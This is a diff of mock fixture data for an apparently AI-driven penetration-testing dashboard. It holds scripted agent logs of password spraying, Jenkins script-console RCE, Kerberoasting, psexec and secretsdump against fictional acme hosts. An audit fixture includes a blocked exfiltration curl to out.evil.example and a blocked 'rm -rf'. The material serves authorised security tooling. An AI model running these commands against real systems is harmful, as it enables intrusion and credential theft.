seq: 345, + worker: "work#8", + intent_id: "i8", + ts: T("2026-07-25T16:14:00Z"), + kind: "tool_use", + tool: "report_finding", + tool_use_id: "t8c", + summary: "report_finding(Privilege Escalation, high)", + }, + { + seq: 346, + worker: "work#8", + intent_id: "i8", + ts: T("2026-07-25T16:20:00Z"), + kind: "result", + summary: "本地提权 root 完成,立足点稳固;准备以其为 pivot 打内网。", + input_tokens: 74000, + output_tokens: 4700, + cache_read_tokens: 50000, + cache_write_tokens: 7000, + }, // work#9 · i9 内网主机发现(done) - { seq: 350, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T20:32:00Z"), kind: "thinking", summary: "立足点直连 10.10.10.0/24,用 fscan/内网扫描做主机与端口发现,圈定域控与高价值主机。" }, - { seq: 351, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T20:36:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t9a", summary: "./fscan -h 10.10.10.0/24 -np -nobr 2>&1 | tail -n 30" }, - { seq: 352, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T20:55:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t9a", summary: "DC01(10.10.10.10) 88/389/445\nFS01(10.10.10.5) 445\nJENKINS(10.10.10.20) 8080", detail: "圈定域控 DC01、文件服务器 FS01、内部 Jenkins。" }, - { seq: 353, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T21:00:00Z"), kind: "result", summary: "内网主机发现完成,3 台高价值目标入图。", input_tokens: 82000, output_tokens: 5100, cache_read_tokens: 56000, cache_write_tokens: 8000 }, + { + seq: 350, + worker: "work#9", + intent_id: "i9", + ts: T("2026-07-25T20:32:00Z"), + kind: "thinking", + summary: "立足点直连 10.10.10.0/24,用 fscan/内网扫描做主机与端口发现,圈定域控与高价值主机。", + }, + { + seq: 351, + worker: "work#9", + intent_id: "i9", + ts: T("2026-07-25T20:36:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t9a", + summary: "./fscan -h 10.10.10.0/24 -np -nobr 2>&1 | tail -n 30", + }, + { + seq: 352, + worker: "work#9", + intent_id: "i9", + ts: T("2026-07-25T20:55:00Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t9a", + summary: "DC01(10.10.10.10) 88/389/445\nFS01(10.10.10.5) 445\nJENKINS(10.10.10.20) 8080", + detail: "圈定域控 DC01、文件服务器 FS01、内部 Jenkins。", + }, + { + seq: 353, + worker: "work#9", + intent_id: "i9", + ts: T("2026-07-25T21:00:00Z"), + kind: "result", + summary: "内网主机发现完成,3 台高价值目标入图。", + input_tokens: 82000, + output_tokens: 5100, + cache_read_tokens: 56000, + cache_write_tokens: 8000, + }, // work#10 · i10 内网凭据复用(running) - { seq: 360, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:42:00Z"), kind: "thinking", summary: "源码泄露的 sa/Acme@2021 是 DB 口令,企业常见口令复用。对 DC01/FS01/JENKINS 做密码喷洒。" }, - { seq: 361, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:44:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t10a", summary: "crackmapexec smb 10.10.10.5 10.10.10.10 -u sa -p 'Acme@2021'" }, - { seq: 362, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:44:10Z"), kind: "tool_result", tool: "bash", tool_use_id: "t10a", summary: "FS01 [+] acme.local\\sa:Acme@2021 (Pwn3d!)\nDC01 [-] 认证失败", detail: "FS01 上 sa 口令复用成功且有管理员权限;DC01 不通。" }, - { seq: 363, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:50:00Z"), kind: "thinking", summary: "FS01 已拿下,正在枚举共享目录寻找更多凭据和敏感文件……" }, + { + seq: 360, + worker: "work#10", + intent_id: "i10", + ts: T("2026-07-26T03:42:00Z"), + kind: "thinking", + summary: "源码泄露的 sa/Acme@2021 是 DB 口令,企业常见口令复用。对 DC01/FS01/JENKINS 做密码喷洒。", + }, + { + seq: 361, + worker: "work#10", + intent_id: "i10", + ts: T("2026-07-26T03:44:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t10a", + summary: "crackmapexec smb 10.10.10.5 10.10.10.10 -u sa -p 'Acme@2021'", + }, + { + seq: 362, + worker: "work#10", + intent_id: "i10", + ts: T("2026-07-26T03:44:10Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t10a", + summary: "FS01 [+] acme.local\\sa:Acme@2021 (Pwn3d!)\nDC01 [-] 认证失败", + detail: "FS01 上 sa 口令复用成功且有管理员权限;DC01 不通。", + }, + { + seq: 363, + worker: "work#10", + intent_id: "i10", + ts: T("2026-07-26T03:50:00Z"), + kind: "thinking", + summary: "FS01 已拿下,正在枚举共享目录寻找更多凭据和敏感文件……", + }, // work#11 · i11 Jenkins 未授权 RCE(done) - { seq: 370, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:32:00Z"), kind: "thinking", summary: "JENKINS 8080 直接可访问,先看 /script 控制台是否需要认证。" }, - { seq: 371, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:35:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11a", summary: "curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'" }, - { seq: 372, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:35:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11a", summary: "200", detail: "Script Console 无需登录即可访问。" }, - { seq: 373, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:40:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11b", summary: "curl -s -d 'script=println+\"whoami\".execute().text' http://10.10.10.20:8080/scriptText" }, - { seq: 374, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:40:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11b", summary: "nt authority\\system", detail: "Groovy 以 SYSTEM 权限执行。" }, - { seq: 375, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:44:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11c", summary: "curl -s -d 'script=...' http://10.10.10.20:8080/scriptText # 导出 Jenkins 凭据库" }, - { seq: 376, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:45:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11c", summary: "acme\\svc_deploy : Deploy@Acme2024\nacme\\svc_build : Build#2023!", detail: "两个域服务账号明文口令导出。" }, - { seq: 377, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:48:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t11d", summary: "report_finding(Unauthenticated RCE, high)" }, - { seq: 378, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:50:00Z"), kind: "result", summary: "Jenkins 未授权 RCE 确认,并导出两个域服务账号凭据。", input_tokens: 96000, output_tokens: 6200, cache_read_tokens: 64000, cache_write_tokens: 9500 }, + { + seq: 370, + worker: "work#11", + intent_id: "i11", + ts: T("2026-07-25T21:32:00Z"), + kind: "thinking", + summary: "JENKINS 8080 直接可访问,先看 /script 控制台是否需要认证。", + }, + { + seq: 371, + worker: "work#11", + intent_id: "i11", + ts: T("2026-07-25T21:35:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t11a", + summary: "curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'", + }, + { + seq: 372, + worker: "work#11", + intent_id: "i11", + ts: T("2026-07-25T21:35:02Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t11a", + summary: "200", + detail: "Script Console 无需登录即可访问。", + }, + { + seq: 373, + worker: "work#11", + intent_id: "i11", + ts: T("2026-07-25T21:40:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t11b", + summary: "curl -s -d 'script=println+\"whoami\".execute().text' http://10.10.10.20:8080/scriptText", + }, + { + seq: 374, + worker: "work#11", + intent_id: "i11", + ts: T("2026-07-25T21:40:03Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t11b", + summary: "nt authority\\system", + detail: "Groovy 以 SYSTEM 权限执行。", + }, + { + seq: 375, + worker: "work#11", + intent_id: "i11", + ts: T("2026-07-25T21:44:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t11c", + summary: "curl -s -d 'script=...' http://10.10.10.20:8080/scriptText # 导出 Jenkins 凭据库", + }, + { + seq: 376, + worker: "work#11", + intent_id: "i11", + ts: T("2026-07-25T21:45:00Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t11c", + summary: "acme\\svc_deploy : Deploy@Acme2024\nacme\\svc_build : Build#2023!", + detail: "两个域服务账号明文口令导出。", + }, + { + seq: 377, + worker: "work#11", + intent_id: "i11", + ts: T("2026-07-25T21:48:00Z"), + kind: "tool_use", + tool: "report_finding", + tool_use_id: "t11d", + summary: "report_finding(Unauthenticated RCE, high)", + }, + { + seq: 378, + worker: "work#11", + intent_id: "i11", + ts: T("2026-07-25T21:50:00Z"), + kind: "result", + summary: "Jenkins 未授权 RCE 确认,并导出两个域服务账号凭据。", + input_tokens: 96000, + output_tokens: 6200, + cache_read_tokens: 64000, + cache_write_tokens: 9500, + }, // work#12 · i12 Kerberoasting(done) - { seq: 380, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T22:42:00Z"), kind: "thinking", summary: "用 svc_deploy 凭据做域认证,然后 GetUserSPNs 请求可 Kerberoast 的服务账号 TGS。" }, - { seq: 381, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T22:50:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t12a", summary: "impacket-GetUserSPNs acme.local/svc_deploy:'Deploy@Acme2024' -dc-ip 10.10.10.10 -request" }, - { seq: 382, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T22:52:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t12a", summary: "svc_sql MSSQLSvc/db01.acme.local:1433 $krb5tgs$23$*svc_sql$...", detail: "拿到 svc_sql 的 TGS 票据(Kerberos RC4)。" }, - { seq: 383, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:10:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t12b", summary: "hashcat -m 13100 tgs.hash rockyou.txt --force" }, - { seq: 384, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:18:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t12b", summary: "$krb5tgs$23$*svc_sql$...:Sql@2020", detail: "8 分钟破出口令 Sql@2020。" }, - { seq: 385, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:19:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t12c", summary: "report_finding(Kerberoasting, high)" }, - { seq: 386, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:20:00Z"), kind: "result", summary: "Kerberoasting 破出 svc_sql 口令,入图供域控攻击使用。", input_tokens: 108000, output_tokens: 6800, cache_read_tokens: 72000, cache_write_tokens: 10000 }, + { + seq: 380, + worker: "work#12", + intent_id: "i12", + ts: T("2026-07-25T22:42:00Z"), + kind: "thinking", + summary: "用 svc_deploy 凭据做域认证,然后 GetUserSPNs 请求可 Kerberoast 的服务账号 TGS。", + }, + { + seq: 381, + worker: "work#12", + intent_id: "i12", + ts: T("2026-07-25T22:50:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t12a", + summary: "impacket-GetUserSPNs acme.local/svc_deploy:'Deploy@Acme2024' -dc-ip 10.10.10.10 -request", + }, + { + seq: 382, + worker: "work#12", + intent_id: "i12", + ts: T("2026-07-25T22:52:00Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t12a", + summary: "svc_sql MSSQLSvc/db01.acme.local:1433 $krb5tgs$23$*svc_sql$...", + detail: "拿到 svc_sql 的 TGS 票据(Kerberos RC4)。", + }, + { + seq: 383, + worker: "work#12", + intent_id: "i12", + ts: T("2026-07-25T23:10:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t12b", + summary: "hashcat -m 13100 tgs.hash rockyou.txt --force", + }, + { + seq: 384, + worker: "work#12", + intent_id: "i12", + ts: T("2026-07-25T23:18:00Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t12b", + summary: "$krb5tgs$23$*svc_sql$...:Sql@2020", + detail: "8 分钟破出口令 Sql@2020。", + }, + { + seq: 385, + worker: "work#12", + intent_id: "i12", + ts: T("2026-07-25T23:19:00Z"), + kind: "tool_use", + tool: "report_finding", + tool_use_id: "t12c", + summary: "report_finding(Kerberoasting, high)", + }, + { + seq: 386, + worker: "work#12", + intent_id: "i12", + ts: T("2026-07-25T23:20:00Z"), + kind: "result", + summary: "Kerberoasting 破出 svc_sql 口令,入图供域控攻击使用。", + input_tokens: 108000, + output_tokens: 6800, + cache_read_tokens: 72000, + cache_write_tokens: 10000, + }, // work#13 · i13 拿下域控 DC01(done,证明 g4) - { seq: 390, worker: "work#13", intent_id: "i13", ts: T("2026-07-25T23:52:00Z"), kind: "thinking", summary: "svc_deploy 来自 Jenkins 凭据库,先查组成员资格——若属于 Domain Admins 就可直接 psexec DC01。" }, - { seq: 391, worker: "work#13", intent_id: "i13", ts: T("2026-07-25T23:55:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t13a", summary: "net rpc group members 'Domain Admins' -U 'acme.local/svc_deploy%Deploy@Acme2024' -S 10.10.10.10" }, - { seq: 392, worker: "work#13", intent_id: "i13", ts: T("2026-07-25T23:55:05Z"), kind: "tool_result", tool: "bash", tool_use_id: "t13a", summary: "ACME\\Administrator\nACME\\svc_deploy", detail: "svc_deploy 是 Domain Admins 成员。" }, - { seq: 393, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:00:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t13b", summary: "impacket-psexec acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10" }, - { seq: 394, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:00:10Z"), kind: "tool_result", tool: "bash", tool_use_id: "t13b", summary: "C:\\Windows\\system32> whoami\nnt authority\\system", detail: "以 SYSTEM 身份登录域控 DC01。" }, - { seq: 395, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:05:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t13c", summary: "impacket-secretsdump acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10 -just-dc" }, - { seq: 396, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:10:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t13c", summary: "Administrator:500:aad3b435...::: krbtgt:502:aad3b435...:::", detail: "全域 NTLM 哈希导出(含 krbtgt),可制作黄金票据持久控制。" }, - { seq: 397, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:15:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t13d", summary: "report_finding(Domain Compromise, high)" }, - { seq: 398, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:20:00Z"), kind: "result", summary: "域控 DC01 拿下,secretsdump 导出全域哈希,靶标达成。", input_tokens: 144000, output_tokens: 9200, cache_read_tokens: 96000, cache_write_tokens: 14000 }, + { + seq: 390, + worker: "work#13", + intent_id: "i13", + ts: T("2026-07-25T23:52:00Z"), + kind: "thinking", + summary: "svc_deploy 来自 Jenkins 凭据库,先查组成员资格——若属于 Domain Admins 就可直接 psexec DC01。", + }, + { + seq: 391, + worker: "work#13", + intent_id: "i13", + ts: T("2026-07-25T23:55:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t13a", + summary: "net rpc group members 'Domain Admins' -U 'acme.local/svc_deploy%Deploy@Acme2024' -S 10.10.10.10", + }, + { + seq: 392, + worker: "work#13", + intent_id: "i13", + ts: T("2026-07-25T23:55:05Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t13a", + summary: "ACME\\Administrator\nACME\\svc_deploy", + detail: "svc_deploy 是 Domain Admins 成员。", + }, + { + seq: 393, + worker: "work#13", + intent_id: "i13", + ts: T("2026-07-26T00:00:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t13b", + summary: "impacket-psexec acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10", + }, + { + seq: 394, + worker: "work#13", + intent_id: "i13", + ts: T("2026-07-26T00:00:10Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t13b", + summary: "C:\\Windows\\system32> whoami\nnt authority\\system", + detail: "以 SYSTEM 身份登录域控 DC01。", + }, + { + seq: 395, + worker: "work#13", + intent_id: "i13", + ts: T("2026-07-26T00:05:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t13c", + summary: "impacket-secretsdump acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10 -just-dc", + }, + { + seq: 396, + worker: "work#13", + intent_id: "i13", + ts: T("2026-07-26T00:10:00Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t13c", + summary: "Administrator:500:aad3b435...::: krbtgt:502:aad3b435...:::", + detail: "全域 NTLM 哈希导出(含 krbtgt),可制作黄金票据持久控制。", + }, + { + seq: 397, + worker: "work#13", + intent_id: "i13", + ts: T("2026-07-26T00:15:00Z"), + kind: "tool_use", + tool: "report_finding", + tool_use_id: "t13d", + summary: "report_finding(Domain Compromise, high)", + }, + { + seq: 398, + worker: "work#13", + intent_id: "i13", + ts: T("2026-07-26T00:20:00Z"), + kind: "result", + summary: "域控 DC01 拿下,secretsdump 导出全域哈希,靶标达成。", + input_tokens: 144000, + output_tokens: 9200, + cache_read_tokens: 96000, + cache_write_tokens: 14000, + }, // 主 agent(人在环路对话) { seq: 70, worker: "mainagent", ts: T("2026-07-26T03:18:00Z"), kind: "user", summary: "后台先从哪切入?" }, - { seq: 71, worker: "mainagent", ts: T("2026-07-26T03:18:06Z"), kind: "text", summary: "admin.acme.com 是 Element-UI 后台,无验证码、无速率限制。建议先默认口令表(admin/admin123)再上字典。我已注入一条高优意图给 work agent。" }, + { + seq: 71, + worker: "mainagent", + ts: T("2026-07-26T03:18:06Z"), + kind: "text", + summary: + "admin.acme.com 是 Element-UI 后台,无验证码、无速率限制。建议先默认口令表(admin/admin123)再上字典。我已注入一条高优意图给 work agent。", + }, { seq: 72, worker: "mainagent", ts: T("2026-07-26T03:52:00Z"), kind: "user", summary: "拿到后台了,接下来重点?" }, - { seq: 73, worker: "mainagent", ts: T("2026-07-26T03:52:08Z"), kind: "text", summary: "目标②是读用户敏感数据:并行推进「后台用户接口枚举」与「API IDOR」。注意批量导出会触发拦截规则,需要你审批放行。" }, - { seq: 400, worker: "mainagent", ts: T("2026-07-25T15:42:00Z"), kind: "user", summary: "shell 拿到了,下一步怎么打?" }, - { seq: 401, worker: "mainagent", ts: T("2026-07-25T15:42:10Z"), kind: "text", summary: "www-data 权限不够,先提权(sudo -l 看起来有戏)。拿到 root 后以 DMZ 为跳板做内网发现,优先域控和 Jenkins。" }, - { seq: 402, worker: "mainagent", ts: T("2026-07-25T21:22:00Z"), kind: "user", summary: "内网扫完了,Jenkins 那台看起来有未授权?" }, - { seq: 403, worker: "mainagent", ts: T("2026-07-25T21:22:08Z"), kind: "text", summary: "对,/script 无鉴权直接 Groovy RCE。我已注入一条提示让 worker 优先打 Jenkins —— 拿下后可以导出域凭据,再配合 Kerberoasting 打域控。" }, + { + seq: 73, + worker: "mainagent", + ts: T("2026-07-26T03:52:08Z"), + kind: "text", + summary: + "目标②是读用户敏感数据:并行推进「后台用户接口枚举」与「API IDOR」。注意批量导出会触发拦截规则,需要你审批放行。", + }, + { + seq: 400, + worker: "mainagent", + ts: T("2026-07-25T15:42:00Z"), + kind: "user", + summary: "shell 拿到了,下一步怎么打?", + }, + { + seq: 401, + worker: "mainagent", + ts: T("2026-07-25T15:42:10Z"), + kind: "text", + summary: + "www-data 权限不够,先提权(sudo -l 看起来有戏)。拿到 root 后以 DMZ 为跳板做内网发现,优先域控和 Jenkins。", + }, + { + seq: 402, + worker: "mainagent", + ts: T("2026-07-25T21:22:00Z"), + kind: "user", + summary: "内网扫完了,Jenkins 那台看起来有未授权?", + }, + { + seq: 403, + worker: "mainagent", + ts: T("2026-07-25T21:22:08Z"), + kind: "text", + summary: + "对,/script 无鉴权直接 Groovy RCE。我已注入一条提示让 worker 优先打 Jenkins —— 拿下后可以导出域凭据,再配合 Kerberoasting 打域控。", + }, { seq: 404, worker: "mainagent", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "DC01 拿下了?给个总结。" }, - { seq: 405, worker: "mainagent", ts: T("2026-07-26T00:22:12Z"), kind: "text", summary: "确认拿下。攻击路径:shop Fastjson RCE → DMZ 提权 → 内网 Jenkins 导出域凭据 → svc_deploy 属 Domain Admins → psexec DC01 SYSTEM → secretsdump 全域哈希。四个目标全部达成或推进中。" }, + { + seq: 405, + worker: "mainagent", + ts: T("2026-07-26T00:22:12Z"), + kind: "text", + summary: + "确认拿下。攻击路径:shop Fastjson RCE → DMZ 提权 → 内网 Jenkins 导出域凭据 → svc_deploy 属 Domain Admins → psexec DC01 SYSTEM → secretsdump 全域哈希。四个目标全部达成或推进中。", + }, ]; export function activityForTask(): Activity[] { @@ -479,10 +2448,34 @@ export function activityForTask(): Activity[] { // ── Token stats ────────────────────────────────────────────────────────────── export const tokenWorkers: TokenUsage[] = [ - { worker: "planner", input_tokens: 320000, output_tokens: 24000, cache_read_tokens: 210000, cache_write_tokens: 33000 }, - { worker: "work#1", input_tokens: 288000, output_tokens: 21000, cache_read_tokens: 190000, cache_write_tokens: 28000 }, - { worker: "work#2", input_tokens: 402000, output_tokens: 31000, cache_read_tokens: 280000, cache_write_tokens: 41000 }, - { worker: "work#3", input_tokens: 274500, output_tokens: 20320, cache_read_tokens: 210400, cache_write_tokens: 30000 }, + { + worker: "planner", + input_tokens: 320000, + output_tokens: 24000, + cache_read_tokens: 210000, + cache_write_tokens: 33000, + }, + { + worker: "work#1", + input_tokens: 288000, + output_tokens: 21000, + cache_read_tokens: 190000, + cache_write_tokens: 28000, + }, + { + worker: "work#2", + input_tokens: 402000, + output_tokens: 31000, + cache_read_tokens: 280000, + cache_write_tokens: 41000, + }, + { + worker: "work#3", + input_tokens: 274500, + output_tokens: 20320, + cache_read_tokens: 210400, + cache_write_tokens: 30000, + }, { worker: "workG", input_tokens: 88000, output_tokens: 5200, cache_read_tokens: 60000, cache_write_tokens: 8000 }, { worker: "work#6", input_tokens: 64000, output_tokens: 4100, cache_read_tokens: 42000, cache_write_tokens: 6000 }, { worker: "work#7", input_tokens: 132000, output_tokens: 8600, cache_read_tokens: 90000, cache_write_tokens: 12000 }, @@ -494,6 +2487,33 @@ export const tokenWorkers: TokenUsage[] = [ { worker: "work#13", input_tokens: 144000, output_tokens: 9200, cache_read_tokens: 96000, cache_write_tokens: 14000 }, ]; +// Mirrors TokenStatsBySession: completed usage is keyed by the stable UI session +// (main | plan | intent:<id>) instead of the reusable work#N executor name. +export const tokenSessions: SessionTokenUsage[] = (() => { + const totals = new Map<string, SessionTokenUsage>(); + for (const item of activity) { + if (item.kind !== "result") continue; + let session = ""; + if (item.worker === "mainagent") session = "main"; + else if (item.worker === "planner") session = "plan"; + else if (item.intent_id) session = `intent:${item.intent_id}`; + if (!session) continue; + const current = totals.get(session) ?? { + session, + input_tokens: 0, + output_tokens: 0, + cache_read_tokens: 0, + cache_write_tokens: 0, + }; + current.input_tokens += item.input_tokens ?? 0; + current.output_tokens += item.output_tokens ?? 0; + current.cache_read_tokens += item.cache_read_tokens ?? 0; + current.cache_write_tokens += item.cache_write_tokens ?? 0; + totals.set(session, current); + } + return [...totals.values()]; +})(); + export const tokenTotal: TokenTotal = grandTotal; export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) => { @@ -502,14 +2522,30 @@ export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) const wave = 40000 + Math.round(30000 * Math.abs(Math.sin(i / 3))); return { date: d.toISOString().slice(0, 10), - input_tokens: wave, output_tokens: Math.round(wave * 0.08), - cache_read_tokens: Math.round(wave * 0.7), cache_write_tokens: Math.round(wave * 0.12), + input_tokens: wave, + output_tokens: Math.round(wave * 0.08), + cache_read_tokens: Math.round(wave * 0.7), + cache_write_tokens: Math.round(wave * 0.12), }; }); export const convTokens: ConvTokenSummary[] = [ - { llm_profile_id: 1, created_at: T("2026-07-25T10:00:00Z"), input_tokens: 42000, output_tokens: 3800, cache_read_tokens: 26000, cache_write_tokens: 5200 }, - { llm_profile_id: 2, created_at: T("2026-07-24T16:00:00Z"), input_tokens: 18000, output_tokens: 1600, cache_read_tokens: 9000, cache_write_tokens: 2100 }, + { + llm_profile_id: 1, + created_at: T("2026-07-25T10:00:00Z"), + input_tokens: 42000, + output_tokens: 3800, + cache_read_tokens: 26000, + cache_write_tokens: 5200, + }, + { + llm_profile_id: 2, + created_at: T("2026-07-24T16:00:00Z"), + input_tokens: 18000, + output_tokens: 1600, + cache_read_tokens: 9000, + cache_write_tokens: 2100, + }, ]; // ── Traffic ────────────────────────────────────────────────────────────────── @@ -543,7 +2579,13 @@ export const traffic: TrafficResp = { page: 0, size: 100, exchanges: exchanges.map(([id, host, method, url, status, ct, len], i) => ({ - id, host, method, url, status, content_type: ct, resp_len: len, + id, + host, + method, + url, + status, + content_type: ct, + resp_len: len, ts: T(`2026-07-26T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`), })), }; @@ -579,39 +2621,199 @@ Content-Length: 655 export const audit: Audit = { attributions: { allow: 312, block: 9 }, entries: [ - { ts: T("2026-07-26T03:33:00Z"), tool: "bash", action: "allow", command: "curl -s -d 'username=admin...' https://admin.acme.com/login" }, - { ts: T("2026-07-26T03:57:00Z"), tool: "bash", action: "allow", command: "curl -s -b 'session=...' https://admin.acme.com/api/users" }, - { ts: T("2026-07-26T02:10:00Z"), tool: "bash", action: "block", reason: "目标越界:out.evil.example 不在 scope 内", command: "curl https://out.evil.example/exfil" }, - { ts: T("2026-07-25T22:03:00Z"), tool: "bash", action: "allow", command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch" }, - { ts: T("2026-07-25T21:00:00Z"), tool: "bash", action: "block", reason: "破坏性命令门控:rm -rf 被拒绝", command: "rm -rf /var/www" }, - { ts: T("2026-07-25T20:30:00Z"), tool: "bash", action: "allow", command: "git-dumper https://www.acme.com/.git/ /tmp/acme" }, - { ts: T("2026-07-25T15:20:00Z"), tool: "bash", action: "allow", command: "curl -s -H 'Content-Type: application/json' -d '{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"...}' https://shop.acme.com/api/import" }, - { ts: T("2026-07-25T21:40:00Z"), tool: "bash", action: "allow", command: "curl -s -d 'script=println+\"whoami\"...' http://10.10.10.20:8080/scriptText" }, - { ts: T("2026-07-26T00:00:00Z"), tool: "bash", action: "allow", command: "impacket-psexec acme.local/svc_deploy@10.10.10.10" }, - { ts: T("2026-07-26T00:05:00Z"), tool: "bash", action: "block", reason: "数据外泄门控:secretsdump 需人工审批", command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" }, - { ts: T("2026-07-26T00:06:00Z"), tool: "bash", action: "allow", command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # 已审批放行" }, + { + ts: T("2026-07-26T03:33:00Z"), + tool: "bash", + action: "allow", + command: "curl -s -d 'username=admin...' https://admin.acme.com/login", + }, + { + ts: T("2026-07-26T03:57:00Z"), + tool: "bash", + action: "allow", + command: "curl -s -b 'session=...' https://admin.acme.com/api/users", + }, + { + ts: T("2026-07-26T02:10:00Z"), + tool: "bash", + action: "block", + reason: "目标越界:out.evil.example 不在 scope 内", + command: "curl https://out.evil.example/exfil", + }, + { + ts: T("2026-07-25T22:03:00Z"), + tool: "bash", + action: "allow", + command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch", + }, + { + ts: T("2026-07-25T21:00:00Z"), + tool: "bash", + action: "block", + reason: "破坏性命令门控:rm -rf 被拒绝", + command: "rm -rf /var/www", + }, + { + ts: T("2026-07-25T20:30:00Z"), + tool: "bash", + action: "allow", + command: "git-dumper https://www.acme.com/.git/ /tmp/acme", + }, + { + ts: T("2026-07-25T15:20:00Z"), + tool: "bash", + action: "allow", + command: + "curl -s -H 'Content-Type: application/json' -d '{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"...}' https://shop.acme.com/api/import", + }, + { + ts: T("2026-07-25T21:40:00Z"), + tool: "bash", + action: "allow", + command: "curl -s -d 'script=println+\"whoami\"...' http://10.10.10.20:8080/scriptText", + }, + { + ts: T("2026-07-26T00:00:00Z"), + tool: "bash", + action: "allow", + command: "impacket-psexec acme.local/svc_deploy@10.10.10.10", + }, + { + ts: T("2026-07-26T00:05:00Z"), + tool: "bash", + action: "block", + reason: "数据外泄门控:secretsdump 需人工审批", + command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc", + }, + { + ts: T("2026-07-26T00:06:00Z"), + tool: "bash", + action: "allow", + command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # 已审批放行", + }, ], }; // ── LLM profiles ───────────────────────────────────────────────────────────── export const llmProfiles: LLMProfile[] = [ - { id: "1", name: "Claude Opus 4.8", format: "anthropic", model: "claude-opus-4-8", api_key_hint: "…a3f2", rate_per_second: 0, rate_per_minute: 0, context_window_k: 1000, reasoning_effort: "high", is_default: true }, - { id: "2", name: "DeepSeek V4", format: "openai", base_url: "https://api.deepseek.com", model: "deepseek-v4-flash", api_key_hint: "…9c11", rate_per_second: 0, rate_per_minute: 60, context_window_k: 128, reasoning_effort: "", is_default: false }, + { + id: "1", + name: "Claude Opus 4.8", + format: "anthropic", + model: "claude-opus-4-8", + api_key_hint: "…a3f2", + rate_per_second: 0, + rate_per_minute: 0, + context_window_k: 1000, + thinking_type: "enabled", + reasoning_effort: "high", + is_default: true, + priority: 0, + pool_exclude: 